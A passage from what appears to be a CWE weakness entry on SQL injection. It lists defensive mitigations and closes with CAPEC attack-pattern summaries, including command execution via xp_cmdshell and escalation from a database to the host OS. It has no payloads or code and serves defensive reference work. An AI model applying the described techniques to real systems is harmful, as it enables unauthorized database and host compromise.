"type": "CVSS_V4"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Strategy: Environment Hardening
- Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-28
Strategy: Output Encoding
- While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
- When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-109: Object Relational Mapping Injection
An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
CAPEC-110: SQL Injection through SOAP Parameter Tampering
An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
CAPEC-470: Expanding Control over the Operating System from the Database
An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
CAPEC-66: SQL Injection
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.
CAPEC-7: Blind SQL Injection
Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.